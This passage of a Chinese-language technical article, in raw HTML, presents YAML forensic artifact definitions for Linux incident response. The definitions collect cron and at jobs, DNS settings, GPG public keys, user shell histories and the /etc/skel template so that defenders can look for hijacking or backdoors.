leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/crontab&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/anacrontab&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/cron.d/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/spool/cron/&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/log/cron&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;journalctl&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;-u&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;crond&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/snJ80-Aiy9-XfFvJw380vg" target="_blank">https://mp.weixin.qq.com/s/snJ80-Aiy9-XfFvJw380vg</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">---</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxAt&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台中 at 用于安排只执行一次的定时任务（在指定的将来某个时间点执行）。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/spool/at/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/spool/atjobs/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/spool/cron/atjobs/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/usr/spool/at/&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/at.allow&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/at.deny&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/at.d/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/init.d/atd&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/lib/systemd/system/atd.service&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/var/log/atd&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">urls:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;<a href="https://mp.weixin.qq.com/s/snJ80-Aiy9-XfFvJw380vg" target="_blank">https://mp.weixin.qq.com/s/snJ80-Aiy9-XfFvJw380vg</a>&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上计划任务相关的内容，包括 crontab 和 at 内容。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Dns.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxDnsConfig&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上DNS配置收集，用于判断是否存在 DNS 劫持等。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/resolv.conf&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上 DNS 配置相关信息，用于判断是否存在 DNS 劫持等内容。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">GPG.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxGPG&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上软件源会将 GPG 公钥存储在系统中，用于验证软件源中的内容是否被篡改。该 Artifact 用于收集公钥。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/apt/trusted.gpg.d/&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/pki/rpm-gpg/&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上的 GPG 公钥，用于后续判断是否存在恶意公钥，确保完整性校验有效。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">HistoryFile.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxHistoryFile&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;所有用户的 .history 文件&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.bash_history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.zsh_history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.sh_history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.ksh_history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.csh_history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.tcsh_history&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;%%users_homedir%%/.local/share/fish/fish_history&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;FILE&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/shells&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;echo&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;$SHELL&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 平台上所有用户的命令执行历史信息，包括各种 shell 。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">HomeTemplate.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRdClBWE6RciavT4ghpdpORPOngaQI8JJqHMuhXbPS4pmWwsbN0pATJQKMibITGic9tYtkeqicEyNOGFAA/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #d19a66;line-height: 26px;"><span leaf="">name:</span></span><span leaf=""> </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;LinuxHomeTemplate&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux 平台上在新建用户需要创建家目录时，会从模板处复制一份给新用户，如果攻击者在此处投毒，新创建用户可能都会受影响。&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">sources:</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;PATH&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Linux&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">paths:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/etc/skel/&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">author:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;NOPTeam&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Linux 家目录模板目录，用于发现攻击者可能潜藏的后门。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">Integrity.yaml</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: 